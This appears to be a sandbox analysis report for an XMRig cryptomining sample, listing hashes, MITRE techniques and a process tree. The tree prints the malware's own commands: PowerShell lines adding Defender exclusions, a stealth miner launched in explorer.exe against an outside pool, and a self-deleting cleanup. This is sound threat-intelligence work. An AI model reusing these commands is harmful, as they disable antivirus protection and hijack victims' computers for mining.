xmrig | 17eb762809a6bf0d9ae452c2fb4119368e5ba7610f62cbcda82eab88ff1f3d84

Analysis

max time kernel
150s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
19/03/2024, 06:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d568b08d31d1540b5675d938b23041ca.exe
Size 34KB
Sample240319-g2nejsch51
SHA256 17eb762809a6bf0d9ae452c2fb4119368e5ba7610f62cbcda82eab88ff1f3d84
MD5 d568b08d31d1540b5675d938b23041ca
SHA1 668c952a92acf95b2710bae009b3e3d968618e2d
SHA512 64039819dfed514d10071aa34ef494dff19eed577332663b4d4cd1498113ddc1554883b50163e7761bb18798f9fb9951d539144e45b5329162c6dd3deb430fe1
SSDEEP 768:Zq7/FnmGYRuOL6slJy/A7BByMjelfXjORgDj4Rzc8vBF9rR:ynmFV7BByFLOR6kGyF9rR
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral2/memory/4864-86-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4864-87-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4864-88-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4864-90-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4864-91-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4864-92-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4864-93-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4864-94-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4864-96-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4864-98-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\International\Geo\Nation	d568b08d31d1540b5675d938b23041ca.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\International\Geo\Nation	svchost64.exe

Executes dropped EXE 1 IoCs

pid	Process
1168	svchost64.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
31	raw.githubusercontent.com
16	raw.githubusercontent.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1168 set thread context of 4864	1168	svchost64.exe	109

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2224	powershell.exe
2224	powershell.exe
704	powershell.exe
704	powershell.exe
4844	powershell.exe
4844	powershell.exe
2656	powershell.exe
2656	powershell.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe
4864	explorer.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeDebugPrivilege	704	powershell.exe
Token: SeDebugPrivilege	1168	svchost64.exe
Token: SeDebugPrivilege	4844	powershell.exe
Token: SeDebugPrivilege	2656	powershell.exe
Token: SeLockMemoryPrivilege	4864	explorer.exe
Token: SeLockMemoryPrivilege	4864	explorer.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 2332 wrote to memory of 396	2332	d568b08d31d1540b5675d938b23041ca.exe	89
PID 2332 wrote to memory of 396	2332	d568b08d31d1540b5675d938b23041ca.exe	89
PID 396 wrote to memory of 2224	396	cmd.exe	91
PID 396 wrote to memory of 2224	396	cmd.exe	91
PID 2332 wrote to memory of 4828	2332	d568b08d31d1540b5675d938b23041ca.exe	92
PID 2332 wrote to memory of 4828	2332	d568b08d31d1540b5675d938b23041ca.exe	92
PID 396 wrote to memory of 704	396	cmd.exe	94
PID 396 wrote to memory of 704	396	cmd.exe	94
PID 4828 wrote to memory of 1168	4828	cmd.exe	95
PID 4828 wrote to memory of 1168	4828	cmd.exe	95
PID 396 wrote to memory of 4844	396	cmd.exe	97
PID 396 wrote to memory of 4844	396	cmd.exe	97
PID 396 wrote to memory of 2656	396	cmd.exe	98
PID 396 wrote to memory of 2656	396	cmd.exe	98
PID 1168 wrote to memory of 4864	1168	svchost64.exe	109
PID 1168 wrote to memory of 4864	1168	svchost64.exe	109
PID 1168 wrote to memory of 4864	1168	svchost64.exe	109
PID 1168 wrote to memory of 4864	1168	svchost64.exe	109
PID 1168 wrote to memory of 4864	1168	svchost64.exe	109
PID 1168 wrote to memory of 4864	1168	svchost64.exe	109
PID 1168 wrote to memory of 4864	1168	svchost64.exe	109
PID 1168 wrote to memory of 4864	1168	svchost64.exe	109
PID 1168 wrote to memory of 4864	1168	svchost64.exe	109
PID 1168 wrote to memory of 4864	1168	svchost64.exe	109
PID 1168 wrote to memory of 4864	1168	svchost64.exe	109
PID 1168 wrote to memory of 4864	1168	svchost64.exe	109
PID 1168 wrote to memory of 4864	1168	svchost64.exe	109
PID 1168 wrote to memory of 4864	1168	svchost64.exe	109
PID 1168 wrote to memory of 4864	1168	svchost64.exe	109
PID 1168 wrote to memory of 996	1168	svchost64.exe	110
PID 1168 wrote to memory of 996	1168	svchost64.exe	110
PID 996 wrote to memory of 1936	996	cmd.exe	112
PID 996 wrote to memory of 1936	996	cmd.exe	112

C:\Users\Admin\AppData\Local\Temp\d568b08d31d1540b5675d938b23041ca.exe
"C:\Users\Admin\AppData\Local\Temp\d568b08d31d1540b5675d938b23041ca.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2332
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2224
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Local\Temp\d568b08d31d1540b5675d938b23041ca.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4828
- - C:\Users\Admin\AppData\Local\Temp\svchost64.exe
    C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Local\Temp\d568b08d31d1540b5675d938b23041ca.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1168
  - - C:\Windows\explorer.exe
      C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.bmpool.org:6004 --user=6100894 --pass=dima --cpu-max-threads-hint=30 --cinit-idle-wait=5 --cinit-idle-cpu=50 --cinit-stealth
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4864
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost64.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:996
    - - C:\Windows\system32\choice.exe
        
        choice /C Y /N /D Y /T 3
        5⤵
        
        PID:1936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 7e6faa0a80301b4dae2c6d499e68ad269378909cdd2dca17e972ff80d296b40f
MD5 96b7303b3c5d43ea97d4ead95821a029
SHA1 ea1ecce72a776cd922b090f28e9d5aaca1b27539
SHA512 edc84e846ca527e28702bf981482af921d7872af10aad705b4a527921f68bd06ce38d28c6254f4197f4985297500fcecc51a9f3051915345cd2cd474e0dcd288
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 c88e4bbb64f7fa31429ebe82c1cf07785c44486f37576f783a26ac856e02a4eb
MD5 9bc110200117a3752313ca2acaf8a9e1
SHA1 fda6b7da2e7b0175b391475ca78d1b4cf2147cd3
SHA512 1f1af32aa18a8cbfcc65b0d4fb7e6ca2705f125eaa85789e981ee68b90c64522e954825abf460d4b4f97567715dfae8d9b0a25a4d54d10bc4c257c472f2e80fb
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 ad07460e061642c0dd4e7dfa7b821aacce873e290389e72f708e9f3504f9d135
MD5 e60eb305a7b2d9907488068b7065abd3
SHA1 1643dd7f915ac50c75bc01c53d68c5dafb9ce28d
SHA512 95c45afec6fa4e0b2a21edd10a6b2dc30568810c67bc9bc34d98ab111c48261f377a370583adb27e08616b0108026c119493b1b093b52ce931117e646b46cb7b
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_4sl0h3mx.ydu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4sl0h3mx.ydu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

svchost64.exe

Path C:\Users\Admin\AppData\Local\Temp\svchost64.exe
Size 28KB
SHA256 e448d0a4e1f71b8c7327376a6e99913509b614fa7a78f2b5b7ab6b6beb3ab659
MD5 d7543e6793022fb10aa1b8063927cf0c
SHA1 a55a6516b3c874a9acd2b82f6e7c50af03925077
SHA512 68fcacfb5030bc961f95aa5e2219b7dffeccab2df69deb30fdef05c33974fac19b078d8da55e5e8d91dab36f55e75f7b4128b60282917cdd297249912e787168
SSDEEP 384:bXlMshCaZYhvBh/DUOMiUCghzr6l9FgL8KukQxVB6uQ77ZTGmwQ7Y9Mokb1An3j9:bXc5LNMDhzr6l8LyDxVB6Z7NzY9AqJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/704-25-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

Download

memory/704-50-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

Download

memory/704-48-0x000001CB68B50000-0x000001CB68B60000-memory.dmp

Download

memory/704-46-0x000001CB68B50000-0x000001CB68B60000-memory.dmp

Download

memory/704-27-0x000001CB68B50000-0x000001CB68B60000-memory.dmp

Download

memory/704-26-0x000001CB68B50000-0x000001CB68B60000-memory.dmp

Download

memory/1168-83-0x000000001BBE0000-0x000000001BBF0000-memory.dmp

Download

memory/1168-43-0x000000001BBE0000-0x000000001BBF0000-memory.dmp

Download

memory/1168-81-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

Download

memory/1168-97-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

Download

memory/1168-45-0x0000000000F40000-0x0000000000F4A000-memory.dmp

Download

memory/1168-40-0x0000000000130000-0x000000000013C000-memory.dmp

Download

memory/1168-42-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

Download

memory/1168-41-0x0000000000F00000-0x0000000000F12000-memory.dmp

Download

memory/2224-6-0x0000011A7A560000-0x0000011A7A582000-memory.dmp

Download

memory/2224-5-0x0000011A7A550000-0x0000011A7A560000-memory.dmp

Download

memory/2224-16-0x0000011A7A550000-0x0000011A7A560000-memory.dmp

Download

memory/2224-4-0x0000011A7A550000-0x0000011A7A560000-memory.dmp

Download

memory/2224-3-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

Download

memory/2224-18-0x0000011A7A550000-0x0000011A7A560000-memory.dmp

Download

memory/2224-22-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

Download

memory/2332-24-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

Download

memory/2332-0-0x00000000003A0000-0x00000000003AE000-memory.dmp

Download

memory/2332-2-0x00000000012A0000-0x00000000012B0000-memory.dmp

Download

memory/2332-1-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

Download

memory/2656-68-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

Download

memory/2656-69-0x00000283A3F20000-0x00000283A3F30000-memory.dmp

Download

memory/2656-75-0x00000283A3F20000-0x00000283A3F30000-memory.dmp

Download

memory/2656-82-0x00000283A3F20000-0x00000283A3F30000-memory.dmp

Download

memory/2656-85-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

Download

memory/4844-67-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

Download

memory/4844-65-0x0000021AC3C20000-0x0000021AC3C30000-memory.dmp

Download

memory/4844-64-0x0000021AC3C20000-0x0000021AC3C30000-memory.dmp

Download

memory/4844-58-0x0000021AC3C20000-0x0000021AC3C30000-memory.dmp

Download

memory/4844-51-0x00007FF934EA0000-0x00007FF935961000-memory.dmp

Download

memory/4844-52-0x0000021AC3C20000-0x0000021AC3C30000-memory.dmp

Download

memory/4864-87-0x0000000140000000-0x0000000140786000-memory.dmp

Download

memory/4864-88-0x0000000140000000-0x0000000140786000-memory.dmp

Download

memory/4864-89-0x0000000002E30000-0x0000000002E50000-memory.dmp

Download

memory/4864-90-0x0000000140000000-0x0000000140786000-memory.dmp

Download

memory/4864-91-0x0000000140000000-0x0000000140786000-memory.dmp

Download

memory/4864-92-0x0000000140000000-0x0000000140786000-memory.dmp

Download

memory/4864-93-0x0000000140000000-0x0000000140786000-memory.dmp

Download

memory/4864-94-0x0000000140000000-0x0000000140786000-memory.dmp

Download

memory/4864-96-0x0000000140000000-0x0000000140786000-memory.dmp

Download

memory/4864-86-0x0000000140000000-0x0000000140786000-memory.dmp

Download

memory/4864-98-0x0000000140000000-0x0000000140786000-memory.dmp

Download